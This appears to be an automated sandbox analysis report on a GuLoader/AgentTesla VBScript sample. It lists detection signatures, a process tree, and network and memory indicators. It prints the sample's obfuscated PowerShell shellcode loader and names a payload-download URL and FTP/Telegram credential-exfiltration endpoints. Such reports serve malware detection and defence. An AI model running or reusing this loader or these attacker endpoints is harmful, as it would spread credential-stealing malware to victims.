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Windows Analysis Report
SIEM_PO00938467648.vbs

Overview

General Information

Sample Name:	SIEM_PO00938467648.vbs
Analysis ID:	756154
MD5:	633811bccf3fe62978ce41a04b653083
SHA1:	bc81307b5c229094617e7cb8cdcaec55eaddad36
SHA256:	b5e4225737f935940fa23989440d5ea2c123c8affde25d6d7224e2b4abab5608
Infos:

Detection

AgentTesla, GuLoader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Yara detected AgentTesla

Sigma detected: Dot net compiler compiles file from suspicious location

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Yara detected GuLoader

Snort IDS alert for network traffic

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Tries to detect Any.run

Wscript starts Powershell (via cmd or directly)

Potential malicious VBS script found (suspicious strings)

Tries to harvest and steal ftp login credentials

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Very long command line found

May check the online IP address of the machine

Potential evasive VBS script found (use of timer() function in loop)

Obfuscated command line found

Machine Learning detection for dropped file

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Yara detected Credential Stealer

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to call native functions

Found dropped PE file which has not been started or loaded

IP address seen in connection with other malware

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Java / VBScript file with very long strings (likely obfuscated code)

Drops PE files

Tries to load missing DLLs

Uses a known web browser user agent for HTTP communication

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Uses FTP

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Compiles C# or VB.Net code

Creates a process in suspended mode (likely to inject code)

Found WSH timer for Javascript or VBS script (likely evasive script)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Classification

Process Tree

System is w10x64native

wscript.exe (PID: 7696 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\SIEM_PO00938467648.vbs" MD5: 0639B0A6F69B3265C1E42227D650B7D1)

cmd.exe (PID: 376 cmdline: CMD.EXE /c echo C:\Windows MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 380 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

powershell.exe (PID: 6160 cmdline: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenSleGlrPriBrcCoMFiaUnsAnkVn(SaiSknMetPe PlBInrTriOdnObkIr,DoiDenQutRu CaMChiUddtitKnsSn)In;Ov[TrDRelSelFuIUnmRipGoosurOmtSc(Ve`"""BrkVaeMerManPeeSklSt3Co2In`"""ef)Ce]BepKouMybKolLbiCocUn EdsGatKuaTetKoiaacLu NoeVexPrtNeeUnrAnnCy PrISenLvtPlPFotBorkr ScEGanSuumemfuSChyFrsPotBeeOomFjLGuoFlcSraNelGaeVosPrWUn(PauDiiEynSttPe GrvEx1ma,PsiHanKotEn KovGr2Ha)Et;Om[OoDrhlDilFlIsumEnpSkoOvrTrtSp(St`"""ObkEdeElrRenTaeDalDi3Sc2Di`"""Si)Ni]FopChuTlbDalCaiAlcLi SmsNytvaaretPriSucTr LueBexGatTreGerManbr ReiGunentAn UnSGieUntTiTEnhPorBieSoaVadEmABlfPafPaiChnFeimitSpySlMPraNisBrkab(CeiNgnCatCr teRBeedebOuuFoiAflUn,BriSlnFitBa SuSTeeAnmHeiDasRr)Ho;Ba[TrDTrlSplVaIMamSapMaoCortitPr(Ud`"""StuNosKoeJorEl3En2Sp`"""St)Bu]chpReuBlbGulFliCacUn OusOutScaUntGoiRecor SteabxArtcheSerBunFo PoiRenJotMi SpSKoeAftJuMEmeInnReuBjIPrtFieStmXeIHongefFeoSi(OpiTrnmotSu ReCRhaBlbBrrSoiSk,AaiDonSktDo reOTepFiaNolUt,UniBunSutFl ClHskaFoaEn,whiHinSptIn GaARemCopFluPr)Ti;Ge}As'Et;Sp`$SpTPtuDueudiKorTooTonPi3Lu=Oo[JgTShuAueAuiFrrAcoovnRe1Bi]Ac:Do:LiVAnikdrBltniuSwaNolWeAStldelNooFocFo(Va0Co,Dr1Un0Ha4An8In5Un7Im6He,al1En2Pr2Ek8St8Gu,Bl6Co4Un)Pe;Ro`$ProFurUpnSaiBetTrhProAasChaBruDarTiiEsaSlnKi=Fi(EkGReeustDe-PrIDetBeeRemSkPGurPloPipReeStrSktMiyOt Ej-JePVeaMatrehTr Sn'EfHPrKTrCuaUSp:Vi\DePgoeMidpnaMigunoOvgCl\ReDCaeVofHmiIbbZerHaiFolSolcoaBatRaiChoPunoveBlnDosMo'Sk)Le.CaELilPluFrtFoiPyoFrnQu;ir`$PoiTanPotGouCurBinHveSidAl Po=sp er[PrSAeyKosIntUneTymTi.LuCGaoUbnDavTheAarIntNe]Ox:Zi:ApFGurMuoCamSoBAwaResFreHo6Sa4StSNitLnrUniGunUngFo(St`$ApobjrAunCriIntCohUnoPosUnaKeuMarAniNoaUnnAr)Fo;Sk[TrSEjyAfsVitWaeTimre.GeRGnuFonUntStiKrmUneJo.trILenSatHeeGorsioLopSeSSteDarchvMeiBicBoeEssAj.FeMBraAprNjsFohUnaUnlBa]Me:Ov:haCUdoBrpFjyBr(Ne`$DaiKanBetSluAnrOmnLgePidRe,Sc Fe0yo,Su Na Ko`$PeTMuuUneLiizirEmoannin3Do,Ci Pl`$RiiXanMitSpuSorThnTeeRedMa.SocAloStuRhnKotsp)Ta;Un[FaTKouveeLsifarNooPrnFr1st]Be:Dy:EsEManNouUnmboSUnyTisAstDieMomViLTeoBecDeaUrlBueUnsNoWUn(Po`$AbTPruSyePriAurSkoSinPr3Sk,Uk St0Ha)Ug#Sm;""";Function Tueiron4 { param([String]$sheikdmmerne); For($circumtropical=2; $circumtropical -lt $sheikdmmerne.Length-1; $circumtropical+=(2+1)){ $Driblende = $Driblende + $sheikdmmerne.Substring($circumtropical, 1); } $Driblende;}$Reptilious0 = Tueiron4 'DaIKgEtiXSk ';$Reptilious1= Tueiron4 $Biliate;&$Reptilious0 $Reptilious1;; MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 3372 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

csc.exe (PID: 4192 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D)

cvtres.exe (PID: 1840 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES7743.tmp" "c:\Users\user\AppData\Local\Temp\0j5ctfzr\CSC3A80B568F8BB4D66897E5CE811419E16.TMP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0)

CasPol.exe (PID: 5484 cmdline: C:\Windows\Microsoft.NET\Framework\v2.0.50727\caspol.exe MD5: 7BAE06CBE364BB42B8C34FCFB90E3EBD)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
SIEM_PO00938467648.vbs	WScript_Shell_PowerShell_Combo	Detects malware from Middle Eastern campaign reported by Talos	Florian Roth	0xa35:$s1: .CreateObject("WScript.Shell") 0x3e4db:$p1: powershell.exe 0x4b22c:$p1: powershell.exe

Memory Dumps

Source	Rule	Description	Author	Strings
0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.86815709366.0000000009330000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000C.00000000.86571566419.0000000001100000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 6160	INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC	Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution	ditekSHen	0x159dc7:$b2: ::FromBase64String( 0x197a90:$b2: ::FromBase64String( 0x2256c5:$b2: ::FromBase64String( 0x852de:$s1: -join 0x923b3:$s1: -join 0x95785:$s1: -join 0x95e37:$s1: -join 0x97928:$s1: -join 0x99b2e:$s1: -join 0x9a355:$s1: -join 0x9abc5:$s1: -join 0x9b300:$s1: -join 0x9b332:$s1: -join 0x9b37a:$s1: -join 0x9b399:$s1: -join 0x9bbe9:$s1: -join 0x9bd65:$s1: -join 0x9bddd:$s1: -join 0x9be70:$s1: -join 0x9c0d6:$s1: -join 0x9e26c:$s1: -join
Process Memory Space: CasPol.exe PID: 5484	JoeSecurity_AgentTesla_1	Yara detected AgentTesla	Joe Security
Process Memory Space: CasPol.exe PID: 5484	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Click to see the 3 entries

Sigma Signatures

Data Obfuscation

Sigma detected: Dot net compiler compiles file from suspicious location

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline, CommandLine: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.cmdline, CommandLine|base64offset|contains: zw, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, NewProcessName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, OriginalFileName: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe, ParentCommandLine: C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa NoiAfaDagVrtPotSyaOv,ChiGenpltRe diVSaeTvjSimboaSotAn1Un5Fr8Ud,GiiTinSttEr YeMSucSlgKurSk)Eg;Ak[KuDDilBulImIRdmAmpAnoVarPrtFr(Sk`"""SvkSqeRorpinFleRelPa3Ov2as`"""Tr)Wo]hepMeuRobBalFriLucRe HysMitFoaUntTaiTmcJa aneDexMitKueSarBlnOi ReiFanSutov drHDeeStaBapBlSBeiSpzBaeKo(StiUnnDitOu YcPKerBroUrpRe,PhiSonxatCl AiANodStrCheFosOv,ViiDenJutDi MuTImoWerArtInrfriPo)Mo;Co[SlDOplSalSpIApmunpReoSjrRotKo(wh`"""JgsSchdieBilShlko3Ge2re.VadUflOmlUn`"""St)Un]BepPauSlbOslBeiUncAs MasMntSyaLetFriTrcpr NoeVixRatFoeRerWenun SevEnofuiTrdRh PaDterFlaFigMeFCiiEnnStiKasBehMi(EsiBonSutPo OpOMumPldSerGe)Ba;Ej[SpDFalBelMeILimhepFroUdrGutAu(Je`"""mawSkifanTemNumIn.ApdKolBolFl`"""Fu)Ho]ScpOvuPrbMdlViiAlcBa BosSatAsaHotLiiFocSi VeeNoxLutHaeBirJenLa HoiennNatGu ArmtjiHoxSceDarTrGSwejotCoDTreFivSuCKeaMipqusSu(SkiBlnCitCh BeNPriBrtSerUd,UditinCotJo VaFaseEwlOb,ThivinQutEo NoAPhfAfsXi9Im3Bl)Ta;Ls[ChDCulCalHaIPumCipIcoFarRetSl(Be`"""RekGleTrrhinAteSilEk3Sa2ur`"""Ti)De]PapFeuDrbFolOpiLkcTn BusAbtSyaUdtMeiSocfr CoeImxFatMoeFrrnanto triMenTotAl KaLUdoEscAskQuRosepasphoOvuForJucApeph(RoiAfnCotTe VeLExeSoiUn)Ir;Un[ReDPilIwlOyILammipShoStrFatCr(Bo`"""FlkAueCervanToeJelAv3Pl2Re`"""Se)Co]UnpAnuCobOplFoilacLa CasrotOpaUntMuiKacTi WieKnxEntReeUdrTrnTr AriPonIntSl PiVIniStrpetrauAcaTilvaATelBelCloThcFa(TriStnSotWi GevGr1Sk,SmiLunThtOr CavBl2Ne,KeiStnCotBy Hevdr3pa,HeiGanUptku SvvCa4In)pr;Py[DrDMalInlPrIBrmHepPloKnrPttba(Ho`"""CrAUnDBeVAlAToPanICr3St2Ph.WaDBeLSaLCi`"""To)Un]StpTiuRebSylPuiEncFo CosMotUnaUntHuiAtcst MeeMixDotOfeAdrInnRo SuvBeoUpiVidTi CiMTraBipBeGAteOenS

Snort Signatures

ET TROJAN AgentTesla Exfil via FTP - Source IP: 192.168.11.20 - Destination IP: 185.31.121.136

Timestamp:	192.168.11.20185.31.121.13649858212029927 11/29/22-18:34:46.981738
SID:	2029927
Source Port:	49858
Destination Port:	21
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Agent Tesla Telegram Exfil - Source IP: 192.168.11.20 - Destination IP: 185.31.121.136

Timestamp:	192.168.11.20185.31.121.13649859597722851779 11/29/22-18:34:47.016884
SID:	2851779
Source Port:	49859
Destination Port:	59772
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: SIEM_PO00938467648.vbs

ReversingLabs: Detection: 34%

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png

Avira URL Cloud: Label: malware

Multi AV Scanner detection for domain / URL

Source: ftp.mcmprint.net

Virustotal: Detection: 9%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.dll

Joe Sandbox ML: detected

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

File opened: C:\Windows\WinSxS\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.9672_none_d08f9da24428a513\MSVCR80.dll

Source: unknown

HTTPS traffic detected: 52.20.78.240:443 -> 192.168.11.20:49857 version: TLS 1.2

Source:

Binary string: l8C:\Users\user\AppData\Local\Temp\0j5ctfzr\0j5ctfzr.pdb source: powershell.exe, 00000006.00000002.86750406025.0000000004961000.00000004.00000800.00020000.00000000.sdmp

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2029927 ET TROJAN AgentTesla Exfil via FTP 192.168.11.20:49858 -> 185.31.121.136:21
Source: Traffic	Snort IDS: 2851779 ETPRO TROJAN Agent Tesla Telegram Exfil 192.168.11.20:49859 -> 185.31.121.136:59772

May check the online IP address of the machine

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: Joe Sandbox View	IP Address: 52.20.78.240 52.20.78.240
Source: Joe Sandbox View	IP Address: 52.20.78.240 52.20.78.240

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akkant/VUUby127.xsn HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: qwedft.gqCache-Control: no-cache

Source: global traffic

TCP traffic: 192.168.11.20:49859 -> 185.31.121.136:59772

Source: unknown

FTP traffic detected: 185.31.121.136:21 -> 192.168.11.20:49858 220---------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server. 220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------220-You are user number 1 of 50 allowed.220-Local time is now 19:34. Server port: 21.220-This is a private system - No anonymous login220-IPv6 connections are also welcome on this server.220 You will be disconnected after 15 minutes of inactivity.

Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:HTTP/1.1
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://DynDns.comDynDNSnamejidpasswordPsi/Psi
Source: powershell.exe, 00000006.00000003.86113003695.00000000072B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86808784268.000000001FBA1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91145990678.000000001FBE8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: powershell.exe, 00000006.00000003.86113003695.00000000072B2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.86777664245.0000000007280000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86808784268.000000001FBA1000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91145920354.000000001FBE5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://kmbImL.com
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: CasPol.exe, 0000000C.00000002.91095102327.0000000001440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://qwedft.gq/Akkant/VUUby127.xsn
Source: powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000003.86807185996.000000001C701000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 0000000C.00000002.91121875644.000000001D9FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ZK1g7ahAv5q7aIVR.com
Source: CasPol.exe, 0000000C.00000002.91118394619.000000001D920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ZK1g7ahAv5q7aIVR.comXy
Source: powershell.exe, 00000006.00000002.86726548109.00000000042E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lB
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.org/
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.ipify.orgftp://ftp.mcmprint.netklogz
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000006.00000002.86731242740.000000000443C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000006.00000002.86766294466.000000000534C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: CasPol.exe, 0000000C.00000002.91117300370.000000001D8D1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.theonionrouter.com/dist.torproject.org/torbrowser/9.5.3/tor-win32-0.4.3.6.ziphttps://www

Source: unknown

DNS traffic detected: queries for: qwedft.gq

Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe

Code function: 12_2_1D63A09A recv,

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /Akkant/VUUby127.xsn HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: qwedft.gqCache-Control: no-cache

Source: unknown

HTTPS traffic detected: 52.20.78.240:443 -> 192.168.11.20:49857 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: Process Memory Space: powershell.exe PID: 6160, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe CMD.EXE /c echo C:\Windows
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Biliate = """LaABrdGedGa-StTDiyCopsteUn St-UdThoyAupepeWrDReeTrfPaiUsnUmiRetCoiMaoFrnSv Sm'ReuSksUniFunCogKn ToSPhyPrsJatNueSimst;viuSmsPriSknangIm PrSPlyEusGrtgueoemFo.ReRPuuConHutSoiFrmFreIl.JoIFonSntSneLurCooPapJaSTreRerElvKuiticReeFesBr;AmpUpuKobsnlVoiDecAw sasRutRhajetaaiTecSv BrcEslFoaUnsVasLe EbTInuBaeBaiOurCeoKonPr1Ci Sh{Ti[PhDAflUllBuIMimHapMaoAfrEutAn(ad`"""InuLusKieKarMe3Br2Si`"""Rr)Ri]GopMauFlbStlMeiTycSa AesKatInaHjtSmiSvcNe SteHoxattImeTerOpnNa GriBenBrtNo YdDMieResTotEnrBroStyOvCspaMerMieCotKl(sn)Me;Sm[AfDEplLulReIenmFlpRdoHarEgtBr(Ov`"""MigAldMeiPl3In2Er`"""Te)Ce]tapEuuDrbCulMaiHjcAs LgsUdtTraBrtSqiercCo VieBexTetVeetrrHrnMa FoiBanArtHa StSBrcUdaGrlLaeSkWTeiScnSudReoBuwCrEVexChtstESuxKn(NoiFinKutSe MoDLnrIgiBefRatPl,ReiAnnAltJu BeAUdmAmbMiuPalHeaAp,DiiFonKntSp juBpraSesVaoQu,MaiLenImtBa 